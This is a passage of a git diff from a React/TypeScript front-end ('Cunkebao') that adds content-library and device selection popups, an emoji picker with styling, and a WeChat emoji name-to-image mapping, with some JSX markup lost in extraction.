(selectedOptions.length === 0) return ""; + return `已选择 ${selectedOptions.length} 个内容库`; + }; + + // 删除已选内容库 + const handleRemoveLibrary = (id: number) => { + if (readonly) return; + onSelect(selectedOptions.filter(c => c.id !== id)); + }; + + // 清除所有已选内容库 + const handleClearAll = () => { + if (readonly) return; + onSelect([]); + }; + + return ( + <> + {/* 输入框 */} + {showInput && ( +
      + } + allowClear={!readonly} + onClear={handleClearAll} + size="large" + readOnly={readonly} + disabled={readonly} + style={ + readonly ? { background: "#f5f5f5", cursor: "not-allowed" } : {} + } + /> +
      + )} + {/* 已选内容库列表窗口 */} + {showSelectedList && selectedOptions.length > 0 && ( +
      + {selectedOptions.map(item => ( +
      +
      + {item.name || item.id} +
      + {!readonly && ( +
      + ))} +
      + )} + {/* 弹窗 */} + setRealVisible(false)} + selectedOptions={selectedOptions} + onSelect={onSelect} + onConfirm={onConfirm} + /> + + ); +}; + +export default ContentSelection; diff --git a/Cunkebao/src/components/ContentSelection/selectionPopup.tsx b/Cunkebao/src/components/ContentSelection/selectionPopup.tsx new file mode 100644 index 00000000..e5ee7a31 --- /dev/null +++ b/Cunkebao/src/components/ContentSelection/selectionPopup.tsx @@ -0,0 +1,257 @@ +import React, { useState, useEffect } from "react"; +import { Checkbox, Popup } from "antd-mobile"; +import { getContentLibraryList } from "./api"; +import style from "./index.module.scss"; +import Layout from "@/components/Layout/Layout"; +import PopupHeader from "@/components/PopuLayout/header"; +import PopupFooter from "@/components/PopuLayout/footer"; +import { ContentItem } from "./data"; + +interface SelectionPopupProps { + visible: boolean; + onClose: () => void; + selectedOptions: ContentItem[]; + onSelect: (libraries: ContentItem[]) => void; + onConfirm?: (libraries: ContentItem[]) => void; +} + +const PAGE_SIZE = 10; + +// 类型标签文本 +const getTypeText = (type?: number) => { + if (type === 1) return "文本"; + if (type === 2) return "图片"; + if (type === 3) return "视频"; + return "未知"; +}; + +// 时间格式化 +const formatDate = (dateStr?: string) => { + if (!dateStr) return "-"; + const d = new Date(dateStr); + if (isNaN(d.getTime())) return "-"; + return `${d.getFullYear()}/${(d.getMonth() + 1) + .toString() + .padStart(2, "0")}/${d.getDate().toString().padStart(2, "0")} ${d + .getHours() + .toString() + .padStart(2, "0")}:${d.getMinutes().toString().padStart(2, "0")}:${d + .getSeconds() + .toString() + .padStart(2, "0")}`; +}; + +const SelectionPopup: React.FC = ({ + visible, + onClose, + selectedOptions, + onSelect, + onConfirm, +}) => { + // 内容库数据 + const [libraries, setLibraries] = useState([]); + const [searchQuery, setSearchQuery] = useState(""); + const [loading, setLoading] = useState(true); // 默认设置为加载中状态 + const [currentPage, setCurrentPage] = useState(1); + const [totalPages, setTotalPages] = useState(1); + const [totalLibraries, setTotalLibraries] = useState(0); + const [tempSelectedOptions, setTempSelectedOptions] = useState( + [], + ); + + // 获取内容库列表,支持keyword和分页 + const fetchLibraries = async (page: number, keyword: string = "") => { + setLoading(true); + try { + const params: any = { + page, + limit: PAGE_SIZE, + }; + if (keyword.trim()) { + params.keyword = keyword.trim(); + } + const response = await getContentLibraryList(params); + if (response && response.list) { + setLibraries(response.list); + setTotalLibraries(response.total || 0); + setTotalPages(Math.ceil((response.total || 0) / PAGE_SIZE)); + } else { + // 如果没有返回列表数据,设置为空数组 + setLibraries([]); + setTotalLibraries(0); + setTotalPages(1); + } + } catch (error) { + console.error("获取内容库列表失败:", error); + // 请求失败时,设置为空数组 + setLibraries([]); + setTotalLibraries(0); + setTotalPages(1); + } finally { + setTimeout(() => { + setLoading(false); + }); + } + }; + + // 打开弹窗时获取第一页 + useEffect(() => { + if (visible) { + setSearchQuery(""); + setCurrentPage(1); + // 复制一份selectedOptions到临时变量 + setTempSelectedOptions([...selectedOptions]); + // 设置loading状态,避免显示空内容 + setLoading(true); + fetchLibraries(1, ""); + } else { + // 关闭弹窗时重置加载状态,确保下次打开时显示加载中 + setLoading(true); + } + }, [visible, selectedOptions]); + + // 搜索处理函数 + const handleSearch = (query: string) => { + if (!visible) return; + setCurrentPage(1); + fetchLibraries(1, query); + }; + + // 搜索输入变化时的处理 + const handleSearchChange = (query: string) => { + setSearchQuery(query); + }; + + // 翻页处理函数 + const handlePageChange = (page: number) => { + if (!visible || page === currentPage) return; + setCurrentPage(page); + fetchLibraries(page, searchQuery); + }; + + // 处理内容库选择 + const handleLibraryToggle = (library: ContentItem) => { + const newSelected = tempSelectedOptions.some(c => c.id === library.id) + ? tempSelectedOptions.filter(c => c.id !== library.id) + : [...tempSelectedOptions, library]; + setTempSelectedOptions(newSelected); + }; + + // 全选当前页 + const handleSelectAllCurrentPage = (checked: boolean) => { + if (checked) { + // 全选:添加当前页面所有未选中的内容库 + const currentPageLibraries = libraries.filter( + library => !tempSelectedOptions.some(l => l.id === library.id), + ); + setTempSelectedOptions(prev => [...prev, ...currentPageLibraries]); + } else { + // 取消全选:移除当前页面的所有内容库 + const currentPageLibraryIds = libraries.map(l => l.id); + setTempSelectedOptions(prev => + prev.filter(l => !currentPageLibraryIds.includes(l.id)), + ); + } + }; + + // 检查当前页是否全选 + const isCurrentPageAllSelected = + libraries.length > 0 && + libraries.every(library => + tempSelectedOptions.some(l => l.id === library.id), + ); + + // 确认选择 + const handleConfirm = () => { + // 用户点击确认时,才更新实际的selectedOptions + onSelect(tempSelectedOptions); + if (onConfirm) { + onConfirm(tempSelectedOptions); + } + onClose(); + }; + // 渲染内容库列表或空状态提示 + const OptionsList = () => { + return libraries.length > 0 ? ( +
      + {libraries.map(item => ( + + ))} +
      + ) : ( +
      +
      数据为空
      +
      + ); + }; + + return ( + + fetchLibraries(currentPage, searchQuery)} + /> + } + footer={ + + } + > +
      + {loading ? ( +
      +
      加载中...
      +
      + ) : ( + OptionsList() + )} +
      +
      +
      + ); +}; + +export default SelectionPopup; diff --git a/Cunkebao/src/components/DeviceSelection/api.ts b/Cunkebao/src/components/DeviceSelection/api.ts new file mode 100644 index 00000000..db175dda --- /dev/null +++ b/Cunkebao/src/components/DeviceSelection/api.ts @@ -0,0 +1,10 @@ +import request from "@/api/request"; + +// 获取设备列表 +export function getDeviceList(params: { + page: number; + limit: number; + keyword?: string; +}) { + return request("/v1/devices", params, "GET"); +} diff --git a/Cunkebao/src/components/DeviceSelection/data.ts b/Cunkebao/src/components/DeviceSelection/data.ts new file mode 100644 index 00000000..9f966a46 --- /dev/null +++ b/Cunkebao/src/components/DeviceSelection/data.ts @@ -0,0 +1,30 @@ +// 设备选择项接口 +export interface DeviceSelectionItem { + id: number; + memo: string; + imei: string; + wechatId: string; + status: "online" | "offline"; + wxid?: string; + nickname?: string; + usedInPlans?: number; + avatar?: string; + totalFriend?: number; +} + +// 组件属性接口 +export interface DeviceSelectionProps { + selectedOptions: DeviceSelectionItem[]; + onSelect: (devices: DeviceSelectionItem[]) => void; + placeholder?: string; + className?: string; + mode?: "input" | "dialog"; // 新增,默认input + open?: boolean; // 仅mode=dialog时生效 + onOpenChange?: (open: boolean) => void; // 仅mode=dialog时生效 + selectedListMaxHeight?: number; // 新增,已选列表最大高度,默认500 + showInput?: boolean; // 新增 + showSelectedList?: boolean; // 新增 + readonly?: boolean; // 新增 + deviceGroups?: any[]; // 传递设备组数据 + singleSelect?: boolean; // 新增,是否单选模式 +} diff --git a/Cunkebao/src/components/DeviceSelection/index.module.scss b/Cunkebao/src/components/DeviceSelection/index.module.scss new file mode 100644 index 00000000..8d004a48 --- /dev/null +++ b/Cunkebao/src/components/DeviceSelection/index.module.scss @@ -0,0 +1,274 @@ +.inputWrapper { + position: relative; +} +.inputIcon { + position: absolute; + left: 12px; + top: 50%; + transform: translateY(-50%); + color: #bdbdbd; + z-index: 10; + font-size: 18px; +} +.input { + padding-left: 38px !important; + height: 56px; + border-radius: 16px !important; + border: 1px solid #e5e6eb !important; + font-size: 16px; + background: #f8f9fa; +} + +.popupHeader { + padding: 16px; + border-bottom: 1px solid #f0f0f0; +} +.popupTitle { + font-size: 20px; + font-weight: 600; + text-align: center; +} +.popupSearchRow { + display: flex; + align-items: center; + gap: 16px; + padding: 16px; +} +.popupSearchInputWrap { + position: relative; + flex: 1; +} +.popupSearchInput { + padding-left: 36px !important; + border-radius: 12px !important; + height: 44px; + font-size: 15px; + border: 1px solid #e5e6eb !important; + background: #f8f9fa; +} +.statusSelect { + width: 120px; + height: 40px; + border-radius: 8px; + border: 1px solid #e5e6eb; + font-size: 15px; + padding: 0 10px; + background: #fff; +} +.deviceList { + flex: 1; + overflow-y: auto; +} +.deviceListInner { + display: flex; + flex-direction: column; + gap: 12px; + padding: 16px; +} +.deviceItem { + display: flex; + flex-direction: column; + padding: 12px; + background: #fff; + border-radius: 12px; + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06); + transition: all 0.2s ease; + border: 1px solid #f5f5f5; + + &:hover { + transform: translateY(-1px); + box-shadow: 0 4px 16px rgba(0, 0, 0, 0.1); + } +} + +.headerRow { + display: flex; + align-items: center; + gap: 8px; +} + +.checkboxContainer { + flex-shrink: 0; +} + +.imeiText { + font-size: 13px; + color: #666; + font-family: monospace; + flex: 1; +} + +.mainContent { + display: flex; + align-items: center; + gap: 12px; + cursor: pointer; + padding: 8px; + border-radius: 8px; + transition: background-color 0.2s ease; + + &:hover { + background-color: #f8f9fa; + } +} +.deviceCheckbox { + flex-shrink: 0; +} +.deviceInfo { + flex: 1; + min-width: 0; + display: flex; + align-items: center; + gap: 12px; +} +.deviceAvatar { + width: 64px; + height: 64px; + border-radius: 6px; + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + display: flex; + align-items: center; + justify-content: center; + overflow: hidden; + box-shadow: 0 2px 8px rgba(102, 126, 234, 0.25); + flex-shrink: 0; + + img { + width: 100%; + height: 100%; + object-fit: cover; + } + + .avatarText { + font-size: 18px; + color: #fff; + font-weight: 700; + text-shadow: 0 1px 3px rgba(0, 0, 0, 0.3); + } +} + +.deviceContent { + flex: 1; + min-width: 0; +} + +.deviceInfoRow { + display: flex; + align-items: center; + gap: 6px; + margin-bottom: 6px; +} +.deviceName { + font-size: 16px; + font-weight: 600; + color: #1a1a1a; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} +.statusOnline { + font-size: 11px; + padding: 1px 6px; + border-radius: 8px; + color: #52c41a; + background: #f6ffed; + border: 1px solid #b7eb8f; + font-weight: 500; +} +.statusOffline { + font-size: 11px; + padding: 1px 6px; + border-radius: 8px; + color: #ff4d4f; + background: #fff2f0; + border: 1px solid #ffccc7; + font-weight: 500; +} +.deviceInfoDetail { + display: flex; + flex-direction: column; + gap: 4px; +} + +.infoItem { + display: flex; + align-items: center; + gap: 8px; +} + +.infoLabel { + font-size: 13px; + color: #666; + min-width: 50px; +} + +.infoValue { + font-size: 13px; + color: #333; + + &.imei { + font-family: monospace; + } + + &.friendCount { + font-weight: 500; + } +} +.loadingBox { + display: flex; + align-items: center; + justify-content: center; + height: 100%; +} +.loadingText { + color: #888; + font-size: 15px; +} +.popupFooter { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16px; + border-top: 1px solid #f0f0f0; + background: #fff; +} +.selectedCount { + font-size: 14px; + color: #888; +} +.footerBtnGroup { + display: flex; + gap: 12px; +} +.refreshBtn { + width: 36px; + height: 36px; +} +.paginationRow { + border-top: 1px solid #f0f0f0; + padding: 16px; + display: flex; + align-items: center; + justify-content: space-between; + background: #fff; +} +.totalCount { + font-size: 14px; + color: #888; +} +.paginationControls { + display: flex; + align-items: center; + gap: 8px; +} +.pageBtn { + padding: 0 8px; + height: 32px; + min-width: 32px; + border-radius: 16px; +} +.pageInfo { + font-size: 14px; + color: #222; + margin: 0 8px; +} diff --git a/Cunkebao/src/components/DeviceSelection/index.tsx b/Cunkebao/src/components/DeviceSelection/index.tsx new file mode 100644 index 00000000..80d27c49 --- /dev/null +++ b/Cunkebao/src/components/DeviceSelection/index.tsx @@ -0,0 +1,192 @@ +import React, { useState } from "react"; +import { SearchOutlined } from "@ant-design/icons"; +import { Input, Button } from "antd"; +import { DeleteOutlined } from "@ant-design/icons"; +import { DeviceSelectionProps } from "./data"; +import SelectionPopup from "./selectionPopup"; +import style from "./index.module.scss"; + +const DeviceSelection: React.FC = ({ + selectedOptions, + onSelect, + placeholder = "选择设备", + className = "", + mode = "input", + open, + onOpenChange, + selectedListMaxHeight = 300, // 默认300 + showInput = true, + showSelectedList = true, + readonly = false, + singleSelect = false, +}) => { + // 弹窗控制 + const [popupVisible, setPopupVisible] = useState(false); + const isDialog = mode === "dialog"; + const realVisible = isDialog ? !!open : popupVisible; + const setRealVisible = (v: boolean) => { + if (isDialog && onOpenChange) onOpenChange(v); + if (!isDialog) setPopupVisible(v); + }; + + // 打开弹窗 + const openPopup = () => { + if (readonly) return; + setRealVisible(true); + }; + + // 获取显示文本 + const getDisplayText = () => { + if (selectedOptions.length === 0) return ""; + if (singleSelect && selectedOptions.length > 0) { + return selectedOptions[0].memo || selectedOptions[0].wechatId || "已选择设备"; + } + return `已选择 ${selectedOptions.length} 个设备`; + }; + + // 删除已选设备 + const handleRemoveDevice = (id: number) => { + if (readonly) return; + onSelect(selectedOptions.filter(v => v.id !== id)); + }; + + // 清除所有已选设备 + const handleClearAll = () => { + if (readonly) return; + onSelect([]); + }; + + return ( + <> + {/* mode=input 显示输入框,mode=dialog不显示 */} + {mode === "input" && showInput && ( +
      + } + allowClear={!readonly} + onClear={handleClearAll} + size="large" + readOnly={readonly} + disabled={readonly} + style={ + readonly ? { background: "#f5f5f5", cursor: "not-allowed" } : {} + } + /> +
      + )} + {/* 已选设备列表窗口 */} + {mode === "input" && showSelectedList && selectedOptions.length > 0 && ( +
      + {selectedOptions.map(device => ( +
      + {/* 头像 */} +
      + {device.avatar ? ( + 头像 + ) : ( + + {(device.memo || device.wechatId || "设")[0]} + + )} +
      + +
      + {device.memo} - {device.wechatId} +
      + {!readonly && ( +
      + ))} +
      + )} + {/* 弹窗 */} + setRealVisible(false)} + selectedOptions={selectedOptions} + onSelect={onSelect} + singleSelect={singleSelect} + /> + + ); +}; + +export default DeviceSelection; diff --git a/Cunkebao/src/components/DeviceSelection/selectionPopup.tsx b/Cunkebao/src/components/DeviceSelection/selectionPopup.tsx new file mode 100644 index 00000000..0485f58d --- /dev/null +++ b/Cunkebao/src/components/DeviceSelection/selectionPopup.tsx @@ -0,0 +1,287 @@ +import React, { useState, useEffect, useCallback } from "react"; +import { Checkbox, Popup } from "antd-mobile"; +import { getDeviceList } from "./api"; +import style from "./index.module.scss"; +import Layout from "@/components/Layout/Layout"; +import PopupHeader from "@/components/PopuLayout/header"; +import PopupFooter from "@/components/PopuLayout/footer"; +import { DeviceSelectionItem } from "./data"; + +interface SelectionPopupProps { + visible: boolean; + onClose: () => void; + selectedOptions: DeviceSelectionItem[]; + onSelect: (devices: DeviceSelectionItem[]) => void; + singleSelect?: boolean; +} + +const PAGE_SIZE = 20; + +const SelectionPopup: React.FC = ({ + visible, + onClose, + selectedOptions, + onSelect, + singleSelect = false, +}) => { + // 设备数据 + const [devices, setDevices] = useState([]); + const [searchQuery, setSearchQuery] = useState(""); + const [statusFilter, setStatusFilter] = useState("all"); + const [loading, setLoading] = useState(false); + const [currentPage, setCurrentPage] = useState(1); + const [total, setTotal] = useState(0); + const [tempSelectedOptions, setTempSelectedOptions] = useState< + DeviceSelectionItem[] + >([]); + + // 获取设备列表,支持keyword和分页 + const fetchDevices = useCallback( + async (keyword: string = "", page: number = 1) => { + setLoading(true); + try { + const res = await getDeviceList({ + page, + limit: PAGE_SIZE, + keyword: keyword.trim() || undefined, + }); + if (res && Array.isArray(res.list)) { + setDevices( + res.list.map((d: any) => ({ + id: d.id?.toString() || "", + memo: d.memo || d.imei || "", + imei: d.imei || "", + wechatId: d.wechatId || "", + status: d.alive === 1 ? "online" : "offline", + wxid: d.wechatId || "", + nickname: d.nickname || "", + usedInPlans: d.usedInPlans || 0, + avatar: d.avatar || "", + totalFriend: d.totalFriend || 0, + })), + ); + setTotal(res.total || 0); + } + } catch (error) { + console.error("获取设备列表失败:", error); + } finally { + setLoading(false); + } + }, + [], + ); + + // 打开弹窗时获取第一页 + useEffect(() => { + if (visible) { + setSearchQuery(""); + setCurrentPage(1); + // 复制一份selectedOptions到临时变量 + setTempSelectedOptions([...selectedOptions]); + fetchDevices("", 1); + } + }, [visible, fetchDevices, selectedOptions]); + + // 搜索防抖 + useEffect(() => { + if (!visible) return; + const timer = setTimeout(() => { + setCurrentPage(1); + fetchDevices(searchQuery, 1); + }, 500); + return () => clearTimeout(timer); + }, [searchQuery, visible, fetchDevices]); + + // 翻页时重新请求 + useEffect(() => { + if (!visible) return; + fetchDevices(searchQuery, currentPage); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [currentPage]); + + // 过滤设备(只保留状态过滤) + const filteredDevices = devices.filter(device => { + const matchesStatus = + statusFilter === "all" || + (statusFilter === "online" && device.status === "online") || + (statusFilter === "offline" && device.status === "offline"); + return matchesStatus; + }); + + const totalPages = Math.max(1, Math.ceil(total / PAGE_SIZE)); + + // 处理设备选择 + const handleDeviceToggle = (device: DeviceSelectionItem) => { + if (singleSelect) { + // 单选模式:如果已选中,则取消选择;否则替换为当前设备 + if (tempSelectedOptions.some(v => v.id === device.id)) { + setTempSelectedOptions([]); + } else { + setTempSelectedOptions([device]); + } + } else { + // 多选模式:原有的逻辑 + if (tempSelectedOptions.some(v => v.id === device.id)) { + setTempSelectedOptions( + tempSelectedOptions.filter(v => v.id !== device.id), + ); + } else { + const newSelectedOptions = [...tempSelectedOptions, device]; + setTempSelectedOptions(newSelectedOptions); + } + } + }; + + // 全选当前页 + const handleSelectAllCurrentPage = (checked: boolean) => { + if (checked) { + // 全选:添加当前页面所有未选中的设备 + const currentPageDevices = filteredDevices.filter( + device => !tempSelectedOptions.some(d => d.id === device.id), + ); + setTempSelectedOptions(prev => [...prev, ...currentPageDevices]); + } else { + // 取消全选:移除当前页面的所有设备 + const currentPageDeviceIds = filteredDevices.map(d => d.id); + setTempSelectedOptions(prev => + prev.filter(d => !currentPageDeviceIds.includes(d.id)), + ); + } + }; + + // 检查当前页是否全选 + const isCurrentPageAllSelected = + filteredDevices.length > 0 && + filteredDevices.every(device => + tempSelectedOptions.some(d => d.id === device.id), + ); + + return ( + + fetchDevices(searchQuery, currentPage)} + showTabs={true} + tabsConfig={{ + activeKey: statusFilter, + onChange: setStatusFilter, + tabs: [ + { title: "全部", key: "all" }, + { title: "在线", key: "online" }, + { title: "离线", key: "offline" }, + ], + }} + /> + } + footer={ + { + // 用户点击确认时,才更新实际的selectedOptions + onSelect(tempSelectedOptions); + onClose(); + }} + isAllSelected={isCurrentPageAllSelected} + onSelectAll={singleSelect ? undefined : handleSelectAllCurrentPage} + /> + } + > +
      + {loading ? ( +
      +
      加载中...
      +
      + ) : ( +
      + {filteredDevices.map(device => ( +
      + {/* 顶部行:选择框和IMEI */} +
      +
      + v.id === device.id, + )} + onChange={() => handleDeviceToggle(device)} + className={style.deviceCheckbox} + /> +
      + + IMEI: {device.imei?.toUpperCase()} + +
      + + {/* 主要内容区域:头像和详细信息 */} +
      + {/* 头像 */} +
      + {device.avatar ? ( + 头像 + ) : ( + + {(device.memo || device.wechatId || "设")[0]} + + )} +
      + + {/* 设备信息 */} +
      +
      + {device.memo} +
      + {device.status === "online" ? "在线" : "离线"} +
      +
      +
      +
      + 微信号: + + {device.wechatId} + +
      +
      + 好友数: + + {device.totalFriend ?? "-"} + +
      +
      +
      +
      +
      + ))} +
      + )} +
      +
      +
      + ); +}; + +export default SelectionPopup; diff --git a/Cunkebao/src/components/EmojiSeclection/EmojiPicker.css b/Cunkebao/src/components/EmojiSeclection/EmojiPicker.css new file mode 100644 index 00000000..cd70ffe3 --- /dev/null +++ b/Cunkebao/src/components/EmojiSeclection/EmojiPicker.css @@ -0,0 +1,167 @@ +/* 表情选择器容器 */ +.emoji-picker-container { + position: relative; + display: inline-block; +} + +/* 默认触发器按钮 */ +.emoji-picker-trigger { + background: none; + font-size: 16px; + padding: 5px; + cursor: pointer; + transition: all 0.2s ease; + border-radius: 5px; +} + +.emoji-picker-trigger:hover { + background-color: #e9e9e9; + border-color: #d0d0d0; +} + +/* 表情选择器面板 */ +.emoji-picker-panel { + position: absolute; + bottom: 100%; + left: 0; + z-index: 1000; + background: white; + border: 1px solid #e0e0e0; + border-radius: 8px; + box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15); + width: 320px; + max-height: 400px; + overflow: hidden; + margin-bottom: 4px; +} + +/* 分类标签栏 */ +.emoji-categories { + display: flex; + background-color: #f8f9fa; + border-bottom: 1px solid #e0e0e0; + padding: 8px; + gap: 4px; +} + +.category-btn { + background: none; + border: none; + padding: 8px 12px; + border-radius: 6px; + font-size: 16px; + cursor: pointer; + transition: background-color 0.2s ease; + flex: 1; + text-align: center; +} + +.category-btn:hover { + background-color: #e9ecef; +} + +.category-btn.active { + background-color: #007bff; + color: white; +} + +/* 表情网格 */ +.emoji-grid { + display: grid; + grid-template-columns: repeat(8, 1fr); + gap: 4px; + padding: 12px; + max-height: 280px; + overflow-y: auto; +} + +/* 表情项 */ +.emoji-item { + display: flex; + align-items: center; + justify-content: center; + width: 32px; + height: 32px; + border-radius: 4px; + cursor: pointer; + transition: background-color 0.2s ease; +} + +.emoji-item:hover { + background-color: #f0f0f0; +} + +.emoji-image { + width: 24px; + height: 24px; + object-fit: contain; +} + +/* 空状态 */ +.emoji-empty { + text-align: center; + padding: 40px 20px; + color: #999; + font-size: 14px; +} + +/* 滚动条样式 */ +.emoji-grid::-webkit-scrollbar { + width: 6px; +} + +.emoji-grid::-webkit-scrollbar-track { + background: #f1f1f1; + border-radius: 3px; +} + +.emoji-grid::-webkit-scrollbar-thumb { + background: #c1c1c1; + border-radius: 3px; +} + +.emoji-grid::-webkit-scrollbar-thumb:hover { + background: #a8a8a8; +} + +/* 响应式设计 */ +@media (max-width: 480px) { + .emoji-picker-panel { + width: 280px; + } + + .emoji-grid { + grid-template-columns: repeat(7, 1fr); + } +} + +/* 深色模式支持 */ +@media (prefers-color-scheme: dark) { + .emoji-picker-panel { + background: #2d3748; + border-color: #4a5568; + color: white; + } + + .emoji-categories { + background-color: #1a202c; + border-bottom-color: #4a5568; + } + + .category-btn:hover { + background-color: #4a5568; + } + + .emoji-item:hover { + background-color: #4a5568; + } + + .emoji-picker-trigger { + border-color: #4a5568; + color: white; + } + + .emoji-picker-trigger:hover { + background-color: #4a5568; + } +} diff --git a/Cunkebao/src/components/EmojiSeclection/EmojiPicker.tsx b/Cunkebao/src/components/EmojiSeclection/EmojiPicker.tsx new file mode 100644 index 00000000..6b5f4932 --- /dev/null +++ b/Cunkebao/src/components/EmojiSeclection/EmojiPicker.tsx @@ -0,0 +1,115 @@ +import React, { useState, useRef, useEffect } from "react"; +import { EmojiCategory, EmojiInfo, getEmojisByCategory } from "./wechatEmoji"; +import "./EmojiPicker.css"; + +interface EmojiPickerProps { + onEmojiSelect: (emoji: EmojiInfo) => void; + trigger?: React.ReactNode; + className?: string; +} + +const EmojiPicker: React.FC = ({ + onEmojiSelect, + trigger, + className = "", +}) => { + const [isOpen, setIsOpen] = useState(false); + const [activeCategory, setActiveCategory] = useState( + EmojiCategory.FACE, + ); + const pickerRef = useRef(null); + + // 分类配置 + const categories = [ + { key: EmojiCategory.FACE, label: "😊", title: "人脸" }, + { key: EmojiCategory.GESTURE, label: "👋", title: "手势" }, + { key: EmojiCategory.ANIMAL, label: "🐷", title: "动物" }, + { key: EmojiCategory.BLESSING, label: "🎉", title: "祝福" }, + { key: EmojiCategory.OTHER, label: "❤️", title: "其他" }, + ]; + + // 获取当前分类的表情 + const currentEmojis = getEmojisByCategory(activeCategory); + + // 点击外部关闭 + useEffect(() => { + const handleClickOutside = (event: MouseEvent) => { + if ( + pickerRef.current && + !pickerRef.current.contains(event.target as Node) + ) { + setIsOpen(false); + } + }; + + if (isOpen) { + document.addEventListener("mousedown", handleClickOutside); + } + + return () => { + document.removeEventListener("mousedown", handleClickOutside); + }; + }, [isOpen]); + + // 处理表情选择 + const handleEmojiClick = (emoji: EmojiInfo) => { + onEmojiSelect(emoji); + setIsOpen(false); + }; + + // 默认触发器 + const defaultTrigger = 😊; + + return ( +
      + {/* 触发器 */} +
      setIsOpen(!isOpen)}>{trigger || defaultTrigger}
      + + {/* 表情选择器面板 */} + {isOpen && ( +
      + {/* 分类标签 */} +
      + {categories.map(category => ( + + ))} +
      + + {/* 表情网格 */} +
      + {currentEmojis.map(emoji => ( +
      handleEmojiClick(emoji)} + title={emoji.name} + > + {emoji.name} +
      + ))} +
      + + {/* 空状态 */} + {currentEmojis.length === 0 && ( +
      暂无表情
      + )} +
      + )} +
      + ); +}; + +export default EmojiPicker; diff --git a/Cunkebao/src/components/EmojiSeclection/index.ts b/Cunkebao/src/components/EmojiSeclection/index.ts new file mode 100644 index 00000000..d4aa499f --- /dev/null +++ b/Cunkebao/src/components/EmojiSeclection/index.ts @@ -0,0 +1,18 @@ +// 导出主要组件 +export { default as EmojiPicker } from "./EmojiPicker"; + +// 导出表情数据和类型 +export { + EmojiCategory, + type EmojiInfo, + type EmojiName, + getAllEmojis, + getEmojisByCategory, + getEmojiInfo, + getEmojiPath, + searchEmojis, + EMOJI_CATEGORIES, +} from "./wechatEmoji"; + +// 默认导出 +export { default } from "./EmojiPicker"; diff --git a/Cunkebao/src/components/EmojiSeclection/wechatEmoji.ts b/Cunkebao/src/components/EmojiSeclection/wechatEmoji.ts new file mode 100644 index 00000000..7cb53be3 --- /dev/null +++ b/Cunkebao/src/components/EmojiSeclection/wechatEmoji.ts @@ -0,0 +1,902 @@ +/** + * 微信表情包 TypeScript 模块 + * 提供类型安全的表情访问和图片路径获取功能 + */ + +/** + * 表情类别枚举 + */ +export enum EmojiCategory { + /** 人脸表情 */ + FACE = "face", + /** 手势表情 */ + GESTURE = "gesture", + /** 动物表情 */ + ANIMAL = "animal", + /** 祝福表情 */ + BLESSING = "blessing", + /** 其他表情 */ + OTHER = "other", +} + +/** + * 表情信息接口 + */ +export interface EmojiInfo { + /** 表情名称 */ + name: string; + /** 表情类别 */ + category: EmojiCategory; + /** 图片文件路径 */ + path: string; + /** 英文名称(可选) */ + englishName?: string; +} + +/** + * 表情名称类型 + */ +export type EmojiName = + // 人脸表情 + | "微笑" + | "撇嘴" + | "色" + | "发呆" + | "得意" + | "流泪" + | "害羞" + | "闭嘴" + | "睡" + | "大哭" + | "尴尬" + | "发怒" + | "调皮" + | "呲牙" + | "惊讶" + | "难过" + | "囧" + | "抓狂" + | "吐" + | "偷笑" + | "愉快" + | "白眼" + | "傲慢" + | "困" + | "惊恐" + | "憨笑" + | "悠闲" + | "咒骂" + | "疑问" + | "嘘" + | "晕" + | "衰" + | "骷髅" + | "敲打" + | "再见" + | "擦汗" + | "抠鼻" + | "鼓掌" + | "坏笑" + | "右哼哼" + | "鄙视" + | "委屈" + | "快哭了" + | "阴险" + | "亲亲" + | "可怜" + | "笑脸" + | "生病" + | "脸红" + | "破涕为笑" + | "恐惧" + | "失望" + | "无语" + | "嘿哈" + | "捂脸" + | "机智" + | "皱眉" + | "耶" + | "吃瓜" + | "加油" + | "汗" + | "天啊" + | "Emm" + | "社会社会" + | "旺柴" + | "好的" + | "打脸" + | "哇" + | "翻白眼" + | "666" + | "让我看看" + | "叹气" + | "苦涩" + | "裂开" + | "奸笑" + // 手势表情 + | "握手" + | "胜利" + | "抱拳" + | "勾引" + | "拳头" + | "OK" + | "合十" + | "强" + | "拥抱" + | "弱" + // 动物表情 + | "猪头" + | "跳跳" + | "发抖" + | "转圈" + // 祝福表情 + | "庆祝" + | "礼物" + | "红包" + | "發" + | "福" + | "烟花" + | "爆竹" + // 其他表情 + | "嘴唇" + | "爱心" + | "心碎" + | "啤酒" + | "咖啡" + | "蛋糕" + | "凋谢" + | "菜刀" + | "炸弹" + | "便便" + | "太阳" + | "月亮" + | "玫瑰"; + +/** + * 表情数据映射 + * 将表情名称映射到完整的表情信息 + */ +const EMOJI_DATA: Record = { + // 人脸表情 + 微笑: { + name: "微笑", + category: EmojiCategory.FACE, + path: "/assets/face/smile.png", + }, + 撇嘴: { + name: "撇嘴", + category: EmojiCategory.FACE, + path: "/assets/face/pout.png", + }, + 色: { + name: "色", + category: EmojiCategory.FACE, + path: "/assets/face/lustful.png", + }, + 发呆: { + name: "发呆", + category: EmojiCategory.FACE, + path: "/assets/face/daze.png", + }, + 得意: { + name: "得意", + category: EmojiCategory.FACE, + path: "/assets/face/smug.png", + }, + 流泪: { + name: "流泪", + category: EmojiCategory.FACE, + path: "/assets/face/crying.png", + }, + 害羞: { + name: "害羞", + category: EmojiCategory.FACE, + path: "/assets/face/shy.png", + }, + 闭嘴: { + name: "闭嘴", + category: EmojiCategory.FACE, + path: "/assets/face/shut-up.png", + }, + 睡: { + name: "睡", + category: EmojiCategory.FACE, + path: "/assets/face/sleep.png", + }, + 大哭: { + name: "大哭", + category: EmojiCategory.FACE, + path: "/assets/face/wail.png", + }, + 尴尬: { + name: "尴尬", + category: EmojiCategory.FACE, + path: "/assets/face/awkward.png", + }, + 发怒: { + name: "发怒", + category: EmojiCategory.FACE, + path: "/assets/face/angry.png", + }, + 调皮: { + name: "调皮", + category: EmojiCategory.FACE, + path: "/assets/face/naughty.png", + }, + 呲牙: { + name: "呲牙", + category: EmojiCategory.FACE, + path: "/assets/face/grin.png", + }, + 惊讶: { + name: "惊讶", + category: EmojiCategory.FACE, + path: "/assets/face/surprised.png", + }, + 难过: { + name: "难过", + category: EmojiCategory.FACE, + path: "/assets/face/sad.png", + }, + 囧: { + name: "囧", + category: EmojiCategory.FACE, + path: "/assets/face/embarrassed.png", + }, + 抓狂: { + name: "抓狂", + category: EmojiCategory.FACE, + path: 